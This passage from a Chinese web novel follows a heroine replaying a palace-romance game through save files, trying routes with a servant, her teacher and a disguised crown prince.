“请娘娘降罪,枕溪奉命照顾殿下的雀鸟,却一时失察致鸟不知所踪……” 宫女笑道:“杜公子不如抬头看看,这是什么?” 他顿了下,抬头,和麻雀模样的你对视,眼里全是不可置信。 已经死去的、亲手被他埋葬的雀鸟,此时正精神十足地站在皇后身边望着他。 皇后笑道:“这雀鸟自己来找本宫,倒是害枕溪担惊受怕。” 宫女道:“是比几日前的呆愣模样看着机灵了,杜公子驭兽之才名不虚传。” 杜枕溪不知如何回应,只能行礼。 皇后见他局促,好心放他离开:“好了,如今雀鸟也找回了,你累一天,快些回去休息才是。” 他没能说出辞差事的话,你也理解。老板都没怪罪,他没办法说自己不干。 于是你任由自己被放入笼子,但在笼门关上的那一刻,你从门的缝隙钻出,飞回到皇后身边。 宫女们没能一下子理解你的意思,只认为你不喜欢待笼子,来回抓了你几次都被你逃脱。 还要再抓,被皇后叫停。 “它是不是想待在本宫这?” 宫女们立刻捧她:“自然,奴婢看它就是奔着娘娘来的,不然进了屋子哪都不去,只来找娘娘。” 被小动物这样坚定选择,皇后一阵心软,对杜枕溪道:“这鸟如此想留在本宫身边,枕溪你就不用管了,以后由本宫亲自喂它。” “是。” 如此解除了表哥和小动物们的危机。 你并没有整天都在皇后身边扮演麻雀,一日三餐还有比赛都是用自己本体露面参与,睡觉也回去和景妍一起。 所以周围人只是感觉你最近很忙,并不认为你失踪。 皇后这边,以为麻雀是自由的个性,在外面玩累了才会回来。 你当然没有一辈子装下去的念头。 第二日起,你就装做疲惫苍老的状态被宫女们照顾了。 装到第七天,你把自己变成了死亡状态的麻雀。宫女们围着你哭,就连皇后的忍不住悲伤。 “如此算来,是活到岁数了。鸟活七年就算长寿,娘娘可千万节哀顺变。” “是啊娘娘,它可是知道自己要死了,故意飞回您身边陪着您的。” 哀叹惋惜声一片。 之后你被她们埋到后山,等人都走了,你变回自己的模样从土里爬出来,拍拍身上的湿土。 一桩危机就此化解。 表哥和小动物们全都保了下来,母亲也不会因为表哥出事而忧心伤神。 你伸展手臂,做拉伸运动。转身看到意料之外的人。 杜枕溪站在一棵绑着红丝带的槐树下。槐花开了满树,成串悬挂,风吹过扩散沁人心脾的清香。 不知他在这多久,但似乎看得到你从土里爬出的样子。 存档。 暂时想不出什么合理的解释。 他不问的话就不回答他,问了再考虑完美回答。 你隐约觉得他不会问。 果然他没有问,甚至连叫住你的勇气都没有。 你下山时,他就走在你后面。 气氛过于沉默,是害怕你了吗? 你回身叫了声,他怔怔望你,清秀好看的脸一点点涨红,不知想了什么。 你没再理他,回了住处。 景妍不满:“姐姐又去找表哥玩了吗?为什么不能带我!” “以后不去了。” 恢复平静:“好。” 皇后娘娘的宠鸟死后,几日没兴致见人。 你没有放过这个好时机,打算趁虚而入,借着她情绪不好,获得更多的信任。 调制几杯清凉鲜甜的奶茶、果茶送去,皇后念着你的心意,放你进去聊天说话。 你自己没什么话好说,于是在进去之前让月梧回去把景妍也叫来。 皇后还是和景妍投缘,也许是背景剧情设置,也许是女主光环的魅力,只要景妍诚心想与某个人交好,总能轻易获得对方的心。 她们聊天的气氛融洽,你在一旁默默喝茶,数着她们更换的话题,从衣裳、话本、品味到猫狗,甚至茶具的质感都拿出来说说。 皇后问景妍亲事。 很无心的一句话,她忘记面前两个女孩的身份,只是从长辈角度关切。 问出口,看到景妍明显不对的脸色,皇后才在心里反应过来,之前太子和你是差点定亲的关系。 孩子的亲事一贯由皇帝来做主,她无权处理,只能顺从地为皇帝的决定准备什么。 说起来,你和晞儿的婚事还是阿彧亲自选的。如今他的自作主张惹了皇帝厌恶,这场婚事也受了牵连。白白耽误你议亲最好的几年。 但你并没因此有过什么不快。 皇后心中感念你,怎么看你怎么喜欢,心里对林彧的埋怨更深。 官制乱不乱,有哪些弊漏,跟他有什么关系呢。 要是真像他说的有那么大的问题,怎么沿用至今都还天下太平? 是阿彧僭越。 让她错过了一个这么好的儿媳。 正如林彧过去所言,你与太子的性情十分般配。是放在一起能相处很好的性子。 主要还是你性子好,跟谁放在一起都登对。 你用手指滚一颗葡萄玩。 这个举动,皇后在那只老死的麻雀身上也见过。当时她还笑着觉得稀罕,没想到人和鸟都是一样,感到无聊手里都会摆弄些什么。 “看着你,总觉得……” 你疑惑地停下手里的小动作。 皇后招呼宫女:“把金雀钗找出来,送景蕊。” “几百年前的桓筝,流芳百世的美名,也左不过是景蕊这般十全十美的女孩了。” 听到她的话,你迷茫一瞬,没想过她会给的这么突然。 而且。 【获得金雀钗】 游戏在发弹窗提醒,这是之前的存档里,你主动要到手的情况截然不同。 打开虚拟面板,找到【通关条件】的页面。 虽然没有明写要获得金雀钗,之前的界面只有一些数值。 但在你拿到关卡名金雀钗后,页面突然多出一行红字。 【已获得金雀钗】 【通关条件】 1.成为一名出色的恶毒女配。 进程:【79/100】 2.恋爱评级 倒计时:【九年零四个月】 稳步进行,一切都在计划中。 80-90 第81章 从行宫回汴京的路上, 你觉得杜枕溪不大对劲。 有时他提着一根打卷的蚯蚓在你周围晃,有时捧着未脱壳的稻谷给你,都是用期许什么的表情。 景妍:“表哥是不是疯了?” 他已经过了恶作剧的年纪, 也不是性格恶劣的那种人。 “不喜欢这些?” 他去他的马车里抱来那只小鹿:“想摸摸它吗?” “……好。” 过分殷勤了。 赶了小半月的路到家, 景妍落地就回房梳洗睡觉。 你先去问候了母亲, 她在房里翻看附有人体穴位的医书,听见你的脚步声, 抬头望你。 “过来,娘看看……瘦了。在皇后娘娘身边伺候,很辛苦吧?” “还好。” “你在娘娘面前得脸, 这些日子有许多人家来提亲呢。你爹的意思是让你回来相看, 但我看都不如小卫,怕是入不得你的眼。” 你道:“不论别人好坏, 我都只选择卫棠。”在他的线里。 母亲无奈道:“选,给你选。” 又说了两句起居的事, 母亲催你去看卫棠。 如今他在家中和云衢、杜枕溪一般,有了自己的住处。是一个不大的院子,据说是用之前仓房改的。他虽然长得精致,皮囊细嫩, 但生活条件方面比较不拘小节, 冷饭热饭一般吃。这种性子在母亲那里额外加分。 你到时, 他正和别人吵架。 卫棠曾经的同事,看不惯他天天学习的上进模样。 如今他既有老爷的提点, 还另外得到引荐, 求学于朝中其他大人。 同是卑贱的下人,凭什么卫棠能得到这些他们无法拥有的东西?明明除了脸以外一无是处。 若不是他做狐媚勾当,引诱小姐, 一生都不会有出头的日子。 卫棠冷笑:“我出不出头、怎么样,关你什么事?我是小姐的男人,我命好怎么了?” “你!你……狐狸精,不要脸!你以为出卖色相就能一劳永逸了?有更好看的人出现,小姐赏赐给你的一切都能收回去,你还什么都不是!” “我本来就什么都不是!我清清楚楚知道我是污泥,是小姐把我托成了人,我这辈子是小姐的!” “她想让我做官,我就拼命爬上去做,她想让我做贱人,我立刻让她踩我。” “你以为谁都跟你一样,自己过得不好就说是时运不济、宝珠蒙尘吗?烂口口,你一辈子也就这样了。你别来我这嫉妒,你嫉妒错东西了。若你今日觊觎的是小姐,我一定把你脸皮掀起来!有时间在这酸我,不如去背一本书,拾掇拾掇自己倒大街上等瞎眼的贵人把你捡走来的快!” “你!你!” “你什么你?滚!我要温书,明日老爷考背答不上你替我写罚吗?” “滚滚滚……” 半推半拽人转身,卫棠终于发现在门口旁听许久的你。 一瞬间,他眼中划过惊恐、慌乱、羞涩、思念、爱慕,干脆利落地将那小厮踹出院门。把门合上,他缩着肩膀往你怀里钻。 “想我吗?想没想我?” 声音和刚才判若两人般夹了起来。 他其实很大只,但与你相处时喜欢做依偎的姿态。 跟随皇后去避暑行宫住了一月有余,的确有一段时间没见他,是异地情侣需要诉说想念的时长。 于是你说:“想。” 他带着气声的笑黏黏糊糊贴在你耳朵上。 他知道,你不想他。 但是那有什么关系? 天下男人这么多,小姐偏偏愿意哄他,愿意骗他,没有第二个人有这个待遇,这和真爱有什么区别? “你学的如何?” 情至浓时,你问起他的功课。 卫棠缓缓从你胸口上抬头,嘴角扬了两次才扬起来:“……还好。” 看来是不怎么样。 之后他明显分心,动作时不时停顿,搞得人很难熬。 “……是有什么心事?” “呜。” 他趴到你身上紧紧拥抱你:“小姐,景蕊……我要是考不上怎么办?你会失望吗?老爷会生气吗?夫人会不会觉得我很没用?她会不会给你挑别的更漂亮更聪明的男宠?” 你手指卷他的长发玩:“考不上就考不上,我为什么要失望?你不够爱我,你表现不好,我才失望。至于其他人,你管他们做什么。” 卫棠又哼哼两声,两手捧你的脸,对准嘴唇。 “小姐不是说,要过让别人艳羡的日子吗……我考不上,就还是贱民,往后跟我在一起,会有无数个贱种出来笑话你。” 说话还是那么难听。 “你是贱民,别人是贱种,那我是什么?” 他低头落下嘴唇,姣好的面容近在咫尺,露出甜甜的笑。 “你是仙女。” ——这样的笑容,之后几天的备考中都没再见过。 父亲跟你谈起,之前本打算让卫棠多学几年再参加科考。只学一年,就算是天才也没法跟苦学多年的学子比。 但因为你在行宫那边频频传出佳作,成了天下名望极高的才女,婚事备受关注。才女的亲事不能拉跨,他虽然没说,但父亲看得出来,他不想给你丢脸。 进考场那日,卫棠紧张到双手冰凉。 你安慰他考成什么样都没关系。 “我之前说错了,我并不需要多么体面的丈夫。如果你这样担惊受怕是为了自己的前途,我支持你。但要是为了我,我可以明说不需要,你过得开心些比什么都强。” 卫棠眼睛一眨不眨看你,顷刻之间,眼眶发红。 “那你需要一个什么样的丈夫?” “取决于你想做什么样的人。” “我一无是处。” “你忘了你很会跳舞。” “只会跳舞没用的,你不是已经学会了我的本事,我对你没有价值了。” “那你说说看什么有用。” “高官厚禄,人人敬仰。” “谁告诉你的?” “……” “你最有用的地方,是让我爱上你的能力。” 卫棠不出所料落榜。 父亲调考卷回来通篇检查,发现他并非发挥失误,卷面已经做到他能作答的最好,是同批考生过分优秀,将卫棠给挤了下来。 当然,这种说辞不知有几分是安慰,几分是鼓励。 父亲还想让他继续学,但被你推拒。 不是这块料,就不要强求他变成所有人都认可的样子。 这样的爱情不会高分。 但外面的声音你也感受得到。 舆论对你的选择不认可,他们攻击卫棠的出身,抹黑你的眼光,将你们的相遇和恋情弯曲成版本不同的阴谋。 你的声望在因此下降。 但你并不认为卫棠考上举人,进了省试、殿试就能改变这一切。 人们只会继续找证据论证他们站过队的观点,直到他们感觉无聊为止。 已经不被看好的恋情,再怎么折腾也无用。 你的选择是远离是非之地,带着母亲和卫棠过周游天下的生活。 景妍则留在家里陪伴父亲。 第二年,母亲不愿打扰你们的二人世界,年关时留在汴京,放你和卫棠外出闯荡。 你没有辜负母亲的心意,带着他坐船航海,准备航行地球一圈,但中途到了规定时间。 【你们在海洋上迷失了方向。 未知的海域,隐隐松动的船身,昭示着你们将要迎来的命运。】 读档,回到出发之前。 这次你放弃了全球航行,利用上个存档的行船经验,停泊客船在一座荒无人烟的小岛上。 探索一番,你发现这座岛并没有特别凶悍的野兽,因为纬度相近,也不存在热带水果,但有淡水。 你兴致勃勃地开发这座荒岛,由于人力不足,再次读档到出发之前。 这次你选择坐货船,从家里带了几十个壮丁、擅长各种工艺的巧匠。 到了荒岛后,按照你的规划,他们将绿植处理掉一部分盖造房屋,开垦荒地种植农作物。 你玩得很开心,每天监工,把恋爱线抛在脑后。 【山高水远。 一些人心中生出邪念,妄图杀掉你们取而代之,成为这座无名岛的主人。】 读档。 玩腻了海上地图。这次你和卫棠走的陆路,一路西行,人们的五官越来越立体,因为是游戏的缘故,不论口中说的什么话,都会自动翻译成你能听懂的语言。 气候干热,种出的水果就格外好吃。有些坏商人故意宰外地人,所以每次买东西之前你都会存档,以便应对突发状况。 走到哪里都有人对你和卫棠起歹心。 卫棠看起来是个没用的小白脸,不论是抢钱还是劫色,都不足为惧。 他们想不到两个人中担当保护者身份的人是你。你略施拳脚,便能将闹事的人逐一解决。 但卫棠不是没有战力。 你们在途径异国时,有一位浓眉大眼的少年对你一见钟情。 你因需要维持专一人设拒绝了他,但他过分热情,总是在各种方面对你们提供帮助,试图加入你们旅行的队伍。 卫棠很有耐心地教他中原话。 后来你发现,他教异国少年中原话,是为了方便骂他。 他觉得对方听不懂骂着很没劲。 骂到对方生气动手打他,再哭哭啼啼到你面前说他的委屈。 还挺可爱。 【你选择卫棠度过一生】 【二十五岁后,你们在一处临湖的森林定居。 日子过得无聊,但每天醒来都能看见喜欢的人,心里觉得满足而值得。 但你为了母亲、为了自己所作出的努力,是不是都被埋没了呢?】 任务2:【成为一名出色的恶毒女配】 【进程100/100】 【满足通关条件】 【系统监测恋爱过程,评定积分中……】 【系统评定恋爱积分为65】 【积分过低,不满足通关条件】 【闯关失败】 第82章 【65】 你将手指对准积分框, 悬停后出现弹窗。 【积分过低,未达评级标准】 等级细则: 70-80,S级 80-90, SR级 90-100, SSR级 虽没明说, 但似乎只有积分到第三个区间才能通关。 好了。 让你来回顾一下选择卫棠线路所发展的感情线。 初识在歌楼,救他于危难之中。来沈府之前就已经足够亲昵, 能感到他对你抱有恋慕。后来受母亲命令扮作女装陪你身边,失去存活于世的尊严和自由,等到你十五岁及笄把自己献给你。 十五岁, 你选择了他, 青涩约会,牵手, 接吻。为了拥有一段美好的恋情,你们做出了各自的努力。他为你努力读书, 你为他洁身自好,时刻与异性保持距离,之后在各地旅居生活…… 梳理清楚后,你有些理解了低评分的原因。 65分, 刚刚及格, 说明还是有那么一点长处, 比如你选了一个真心喜欢你的人。 但这样的感情没有深度,毫无看点。 如果这一关的考题是“自我”, 卫棠的个人线走下来, 或许可以打出一个漂亮的成绩。因为从始至终你完全为自己而活,游走西域诸国,体验不同地域的风土人情, 玩得很开心。 但这是恋爱游戏,你的爱情不那么合格。截止到二十五岁,你和卫棠从未有一刻交心。生活偏离主线,离开背景剧情发生之地,去到世界的边边角角。你的家人、猫、名望和其它的一切都留在了汴京。 读档。 回到十八岁除夕夜那天。 你打算修正这个错误看看。 “我们这次回来就不走了。” 你在饭桌上如此宣布。 除了支持你外出游历的母亲,其他人的神情都松缓许多。他们舍不得你远行,但尊重你的想法,无法对你说出挽留的话。 你愿意留在家里再好不过。 父亲为你在沈府附近添置了宅院,花花草草都是他与云衢亲手布置。 母亲过来跟你住,家里也有景妍的房间。 闲来无事,你招几个学生在家教她们技艺,每日有了固定的安排,生活渐渐过得充实。 但这并没有改变最终结果。 依然是不足以达到评级条件的65分。 【二十五岁后,你成为了天下第一名师。 一生在传道授业中度过,学生遍布天下,成为史书上独列传记的奇女子。 无人记得你的枕边人是谁。】 【闯关失败】 …… 所以还是回到最根本的选人问题、回到这一关背景剧情的主线上。 在宅斗文中,恋爱对象的身世、品貌、家庭关系,以及周边人的眼光才是衡量成功的标准。 而卫棠显然条件不足。 打开读档页面,原本准备回到十五岁选人的那个档,但看到西域异族少年出现后的时间点,你忽然想知道答应他会发生什么。 读档。 金发紫眸的少年脖子上挂着大饼,没皮没脸地跟在你与卫棠身后。 借着游戏的方便,你听得懂对方的语言,但这种翻译功能是单向的,对方并不能理解你的意思,只能靠比划动作进行沟通。 “你并不是哑巴,却不对我说话,是不喜欢和异族人交流吗?” 此处存档是因为沙漠上的晚霞很美,落日在空中晕染浓烈的橘色,远方的沙丘边缘干脆利落地与天切割,商队的人和骆驼缩成黑色剪影缓慢前行。 你当作CG保存。 现在倒是可以活用。 你回应了名叫查尔斯的少年的追求。 只要双方愿意,语言不通也可以聊得热烈。 有意的冷落之后,你看到卫棠抱紧自己,坐到离你们稍远些的地方。 你走过去拿指头点点他的后背,以为他会哭,但并没有。 他只是很缠人地向上抱住你的腰,脸贴在你的小腹蹭蹭。 “还要我吗?” “不要了。” “骗人。” “没骗你。” 于是他抱你的力度更紧些,没有说话。 你所有决定都是这样风轻云淡做出的,现在说不要他,他不得不信。 “别不要我。” 卫棠打起精神,强撑起灿烂的笑脸:“我以后给你们两个人洗衣服、做饭、做你们的奴隶,不要钱,好不好?” 你知道这些话他不只是说说,也不是今天才想到应对你抛弃他的办法。 他很久很久之前就是这样想的。 他不认为自己有被你选择的资格。 只要你的一点点爱就够了,就足够支撑他活下去。 反复看了两个存档的时间的脸,再静静对视,内心依然会变得柔软。 “骗你的,说过吧,除了你我谁都不要。” 你重新读档,覆盖掉无意义的试探。 和卫棠牵着手,在将夜的沙漠中留下两排脚印。 他语调轻快地跟你说甜言蜜语,然后回头,尖酸刻薄地排挤查尔斯,让他走得离你们远些。 “景蕊,我们接下来要去哪?” 规划过于久远。 “忘了。” 他轻笑。 “去哪我都跟着你。” “嗯。” “总觉得你今天有点奇怪,是不是做了什么亏心事?” “……没有。”读档过了就不存在。 “我们会永远在一起吗?” “嗯。” 不是骗人。 你侧头望他:“我们在一起的这一刻永远都存在。” 它会永远停留在第二关存档的一页。 * 读档。 回到十五岁选人节点。 十五岁的你蹲在房间里逗猫,金线勾边的淡粉色裙摆曳地,还活着的、没有一丝老态的黑猫在你面前趴着,不耐烦地抽甩着尾巴。 切换分线。 点击【林彧】。 第二日,你等在府门口,待他露面时将手里的像生花送他。 林彧对这花感到惊讶,但他配得感很强,行云流水般接在怀里,把沈府当自己家一般往里走,用行动诠释宾至如归的字面意义。 “今日吹的什么风,知道出门来接师父我?” “我是来给你送花的。” “收到了,然后呢?有想求我办的事?” “求了你就听吗?” 林彧停下步子,回身,半披的长发几缕落在前襟,微微上挑的矜贵眼睛平淡盯视。 “我不记得拒绝过你。” 他怀抱着映润光泽的芙蓉花,容色清冽,却拥有着不输花朵的极致妍丽。 “那好。” 你直说:“林师父,我要嫁给你。” 他表情没变,也没说话。 你继续道:“这花是我娘做给我,让我送夫君的。我送给你了,你要好好保存。” 上上个档里,卫棠就连行船在海上遇到暴风雨,都打算抱着这花一起死。你希望每个人都能做到这种程度珍视它。 听你说完,林彧脸色放冷:“胡说八道些什么。不该想的别想,我是你师父。今日的言论我当你没说过,以后不要再提。” “你说过我的要求你都答应。” “我教你欺师灭祖了吗?” 【你选择林彧度过一生】?? 【但他拒绝了你】 【因为选择的失误,你没有与心爱之人达成恋爱关系。 二十五岁后,你没再爱上什么人,迎来了孤独终老的下场。】 【闯关失败】 你:“……” 孤独终老。 还没打出过这么凄凉的结局。 林彧是什么很矜持的人吗? 你翻了翻存档页面,找出来到这个世界最开始的那几个档,挑了一个读档过去。 这是你为了得到金雀钗和林彧,选择进宫陪伴在皇后身边的时间点。 因为不确定林彧被你亲到之后的反应,你在这里存了档。 但这个档存得多此一举,当时你亲他,根本没被反抗,虽然亲完故作平静训斥你,但你想摸任何地方,他都会默默忍受。 “林师父,我想你做我丈夫。” “……安静些。” “是拒绝我?” “你觉得呢?”他面无表情地翻书,挑动琴弦,复原古谱。 没有结局跳出来。 你想起这个档的十五岁也没有分线选项给你。 可能是默认进到林彧线,也可能是路线走窄,没有完成养成任务,偏移主线,固定流程消失。 总之,从这里可以看出,就算是有感情基础,林彧也不会正面回应你的结婚申请,就更不用提毫无铺垫的另一个时空。 贸然打破师徒之间的界限会让他想起他少得可怜的道德。 所以走他的路线,还是按照之前强制流程来稳妥,毕竟那样做成功过。 要给他胡思乱想的时间。 林彧出身世家,是当今皇后的亲弟,作为结婚对象,身份地位足够高分标准。 但年龄差是隐患。不知道游戏会不会把这个算成扣分点。 琴谱很久没有翻页。 你问过那些话后,就坐在他身边沉默,表情冷淡。 他叹了口气,点唇吻你。 “生气了?” 你从思绪中抽神,视线挪移,落在他清雪般无暇的脸上。 美丽的面孔近在咫尺,他神情专注而认真,难得耐心跟你说道理。 “我是你师父,天下没有师父和学生结亲的道理。你知道你的想法传出去,别人会怎么看你吗?” 倒是把自己说成正直的人。 假惺惺的,拆穿他。 “我管别人怎么看,你到最后还不是同意?还要求着我说老男人也很好的,可以早死让我嫁第二个人。” 林彧:“……” 他脸色沉下来:“你很敢想。” 你充满恶趣味:“我是不是敢想,问你自己。你心里是怎么想我的,又在这里假装矜持什么?不是很喜欢被我碰吗?” “沈景蕊。” 他真正发怒。 “我就要说,不喜欢听吗?” “闭嘴,回去!” “不敢相信你会说那种低贱的话吗?以为你是多么高高在上的人吗?我们之间全部都是你在纵容我吗?” “你明明很喜欢被我践踏吧?” 第83章 琴室落针有声般寂静。 你在一脸坦然地折辱他。 在你心里, 他便是那般不堪,所有的忍让、妥协都是对你身体的迷恋。 ……过去,你不是这样的。 你聪明而稳重, 是宗学最出挑的孩子。孤身在宫中长大, 却不自轻自贱, 宠辱不惊。见到他便守礼喊一声“林师父”。 一切从皇后娘娘给你办了笄礼后改变。 成年的当夜,宫中以公主之礼为你放了漫天的烟花。烟花在夜空的幕布倒悬盛放, 璀璨流光如闪亮的星子般坠落。骤光明灭反复,你穿着礼服,身影单薄地立在宫墙之上。 林彧没有上前, 他伫立在不远处望你的背影。 是他。 是他起意, 害你与你的母亲生离死别,如今形单影只。 你的父亲早已成为皇帝的心腹与手脚, 以他之名摆布天下。而你被遗忘在宫中的角落。 内疚如落雨,须臾倾盆而下。雨幕隔在你与他之间, 盖过烟花盛放的声响。 你发现他的存在,眼眸明定着朝他走近。青色礼服与烟花混合,染上一层暖色,你停在他面前, 问他给不给你想要的礼物。 林彧的声音像从遥远的地方传来, 自己听着是朦胧的。 “想要什么?” 你第一次攥住他手, 细软的手掌拢着他的指节,在他隐隐生变的脸色中仰头。 “想要林师父的初吻。” 你没有得逞。 他捂着你的嘴, 严厉将你训斥一顿。 为什么想要他的初吻?简直不可理喻。 他是你的师父, 不是丈夫。 之后他有意躲你一段时日。 但不明缘由的,你总能准确找到他出现的地点,远远瞧见他, 脸上带有游刃有余的笑意逼近。 借着求教琴艺的幌子,你在皇后的准许下将他困在琴室。 倒是没再提过初吻的事。 但连最隐秘的地方,你都用那双温度偏凉的手碰过了。 他的呵斥、愤怒,对你来说像天际的雷声般无关紧要。 反而是他在盛怒之下引来宫人询问情况,还要故作镇定地找借口遮掩。 “林大人,发生何事?” “无事……!” 你捏着他胸口的力度加大几分。 他忍耐着呼吸,“景蕊琴弹错了,我在教她。” 宫人应声,身影逐渐远离门扉。 但脚步一转,她又走了回来,不放心地叮嘱。 “就算景蕊姑娘弹错很多,大人也温和些。女孩子受不住那般口气的。” 你望着林彧红透了的耳朵轻笑。 他想,不知是谁需要温和。 冷着声音:“退下。” 宫人:“是。” 他亏欠于你。 他不想毁了你。 脚步声远去后,为了不让你继续找他麻烦,他将你想要的初吻献给了你。 唇瓣贴在一处,竟生出吞吃入腹的欲望。他从未这样碰过女子,有生以来第一次,对方竟是比他小了十多岁的学生。欲望令他胆战心惊,面上不显,将你摸他胸口的手拿走,你想要的都给了,以后不许造次。 你穿着嫩绿的襦裙,亭亭玉立与他对坐,神情漫不经心,显然他郑重的措辞没有进到你的心里。 “听不懂,林师父,过来让我亲。” 他闭了闭眼,咬牙:“无可救药。” 你盯着他笑。 没有明说,但他再不乖乖听话,你就要叫人过来了。 叫人过来看看他的样子。 明明是色中饿鬼,欺辱人的一方,却能理直气壮地威胁。 世风日下,老天无眼。 林彧凑身到你面前,托你的下颌,带着绝不承认的渴望咬住你的唇。琴架塌了都不理,素白衣摆混入你的裙间。他笨拙地、磕磕绊绊地吻你。 你嫌累,往后看了一眼,直接躺倒在木地板上,搂着他的脖子,玩弄他的舌。 因为你的吻过于熟练,令他产生芥蒂,折腾过那个下午后,不再允许你亲吻。 于是有了你后来存档试探他反应的事。 林彧几乎没这样气过。 你想要他,他随时随地都能把自己献给你。 可你没有良心,只一句话惹你不快,就要被你用这么难听的话挤兑。 嫁给他是什么好事吗? 从上书裁官扩军起,他就是整个朝廷的敌人。 之所以还过着不错的日子,是因为他长姐是皇后,他外甥是太子。即便立场相悖被皇帝厌弃,他也是皇帝亲眼看着长大的内弟。没人敢欺负他,但他们敢拿他身边人做文章。 尤其景蕊是他学生。 不敢想象成婚后要被说什么难听的话。 林彧没有理琴和他宝贝的古谱,起身径直离开。 他走后,你的那点郁堵之气便也消散。 你打算在这个档待久一点,多了解林彧一点。 尽可能让之后的个人线变得完美。 不知为何,闻到股不容忽视的香气。难以忽视的甜味,却不腻味,反而有种清幽的茶香。 循着香气,你站起身到窗边。 少年穿一身暗紫华衫,乌发半披而未束冠,发带上缝了水滴般圆润的青玉。 听到开窗的声音,他吓了一跳,脸上露出微妙的表情,眸光朝你渡过来。 无可挑剔的,精致到过分的长相。眉长入鬓,眼润暗夜。内双开在眼尾,是圆润些的丹凤眼,瞳黑睫密,嘴唇薄厚适中。 看过一眼,心中会萌生出蒙蒙的雾气。 你思考着这人是谁,要不要回到十五岁之前认识他,让他也进到分线选项中去。 虽然会很累,也有可能需要再学几年的课,但他真的是一种新鲜的美貌,你没见过这般面孔的人。而且他穿紫,在这时穿紫的人非富即贵,不论身份和年龄都很合适做你的任务对象。 “抱歉,我并非故意偷听。” “…………” 好熟悉。 这是太子的声音。? 你的记忆如果没出错,他似乎是另一张丑得人神共愤的脸。而且是一次比一次出现更丑,像用丑陋挑衅你一般。 倒是常能听见npc吹捧他的长相。但你亲眼见过他丑时候,若眼前是真的,那另一个存档里的丑太子是怎么回事? 他们是两个人? 游戏给的提示词不可能出错,你在民间遇到的不讲理的丑陋赵晞是真太子,眼前这个拥有绝世容貌的太子也不会是假的。 打开读档页面。 养成阶段修习武力时,你曾去挑战汴京第一恶霸。 因为体力不支,数值不够,你落了下风,打算读档回家,遇到太子赵晞的路见不平。 你回到这个时间点。 没有着急跑路,而是在赵晞摆平了发怒的恶人后,不给任何缓冲的机会,你揪他的脸皮。 是真实的肉感不错。但拎起来过分松弛,稍微用力就感到了一种诡异的剥离感。 赵晞呆愣片刻,阴沉脸色给了你一拳,借你抵挡躲避的空隙,将面具从你手中保护下来。 好敏锐的老太,居然看得出他是在伪装? 这是他机缘巧合跟江湖术士学来的易容术,走在街上没人看出过破绽,结果跟你只见这一面,还是面具保养良好的短期内,被你看出面容作假。 黑褐色的眸子仔细盯你,你也用同般谨慎的目光盯他。 “那是什么?”你指着他背后的蓝天。 赵晞上当回头。 你揪紧他的耳朵,也不管哪些器官是真的,向下撕去。 撕裂的“人皮”之后,是一张惊为天人的脸。 此时他尚且年幼,没有后面少年时长开的风姿绰约。 但也能感受到美貌的倾袭。恶人带着他那些“金盆洗手”的同伴赶来时,正好目睹了面具剥落的一幕。 那些人的表现比你要夸张得多,他们目不转睛盯着赵晞的脸,脚掌钉死在地面上般一动不动,渐渐的,眼神里生出摧毁的恶欲。 “我的面具!!” 年幼的赵晞痛呼,小孩子般耍赖:“赔我!你撕坏的,赔我!” 你默不作声凝视他。 所以。 所以他就是故意丑给你看。 图什么?赌气吗?你没遮掩过对他外貌的嫌弃,明说暗说都有。不知他是什么时候透过道具对你本人产生爱慕,可能被伤到,于是就一直保持着丑陋的面容见你,希望你也能不在意他的外表,喜欢上他本人的品性。 但你没能发现他的品性,太隐蔽了。 “愣着干什么?” 他嘴唇不动,低声道:“等下抓住我。数三个数,我的马来接,我们立刻跑!” “不可惜面具了?” 赵晞鄙视看你一眼,他有这种对人无语的习惯,之前貌丑不堪入目,如今是风华绝代的美少年幼年体,做出这样的表情可以用可爱来形容。 “让他们放松警惕的。别啰嗦,来了!” 话音落下,他拇指与食指相对,压着唇瓣吹哨。 那匹你曾看中过的骏马从坡下疾冲而来。 “拦住他们!别让他们跑了,尤其是那个小的!” 赵晞身手灵巧上马,攥住你的肩膀使巧劲,也将你拉到身前,两手握着缰绳让你坐稳。 你自然不会跟他逃亡下去。 读档。 回去抓包赵晞偷听你与林彧说话的那个时间。 在这条时间线,你们完全不认识。 眼下是第一次见面。 “你都听见了?” 赵晞眼睛飘向一边。 是的,他都听见了。 他好奇你的存在很久。母后教训他时总会提一句乖巧的景蕊,同时你也是他朋友景妍的姐姐。他与景妍在宫外相识,她是不嫌他貌丑、愿亲和相待的难得的人。 就差那么一点缘分,他从未在母后身边见过你。不好和她提想见一个小姑娘的请求,担心被误会。私下和林彧说,被摆了好久的脸色,说不行。 别人不可以见她,只能他见是吗? 然后关在琴室里一待待一天,吵吵嚷嚷训斥人,出门后缓很久腿软。 在做什么啊。 他想出其不意吓你们一吓。 但选错了时机。 你在对林彧说不得了的话。 第84章 时令仲夏, 窗外绿意盎然,光线清透明亮,落在人身上, 像是加了一层调过明暗冷暖的滤镜。 赵晞长发乌黑漫在身后, 叠着暗紫的薄衫, 压生出一股沉甸甸的华贵,但容貌的秀美又中和了这种高高在上的气度。空气中因他而弥漫着淡淡荼蘼花的香气。 “我……” 他定了定神, 选择倒打一耙,淡化他偷听墙角的行为。 “你和林彧什么关系?” “秽乱宫闱,我母后知道你和他的事吗?” 你没有如他所愿露出慌乱心虚的表情, 只是挪动姿势, 半倚在窗台上,与他相视。 “你去告状如何?如你所见, 我被拒绝了,正好让娘娘给我讨个公道。” 赵晞忍不住道:“谁告状, 以为我是三岁小孩吗?坏女人,天下哪有人敢那么对我小舅舅说话,他心眼小的要命,你等他报复你吧。” 他以幸灾乐祸的语气, 还算平和地对你说了这些话, 背过身离开。 你叫住他。 “哎, 殿下。” 赵晞疑惑回头:“有事?” 你对他笑:“我们做好朋友吧。” 稍微沉默。 “不要,感觉你没安好心。” 你道:“是你说我会被林师父报复, 我好害怕, 想让太子殿下做我的朋友罩我,听说太子殿下最讲义气了,肯定不会放朋友遭难不管的。” 赵晞:“……” “不错, 我就是这样的。” “但我为什么要跟你当朋友?我朋友多的是,挨个见面要见半年多。” 吹牛。 “我可以弹琴给你听。” 赵晞:“不爱听。” “给你画像,让千万人瞻仰殿下的风姿。” “我宫里有的是。” “给你跳舞。” “自重些吧。” “打你一拳。” “呵。” “做你没吃过的食物送你。” “笑话,本殿下什么没吃过。” “你一定没吃过。” “做来试试。”赵晞起了些兴致,“不过我要是吃过怎么办?” “允许你许个愿望。” 你将窗台上的花盆移走,使主档里学的功夫,从室内翻了出来。 虽然力气没有数值和训练的加成稍显拉跨,但你有控制肌肉的记忆,做起来倒也不难。 脚踩在松软的草地上,你提裙走过石板路,停他面前。 “什么愿望都能给你实现。” 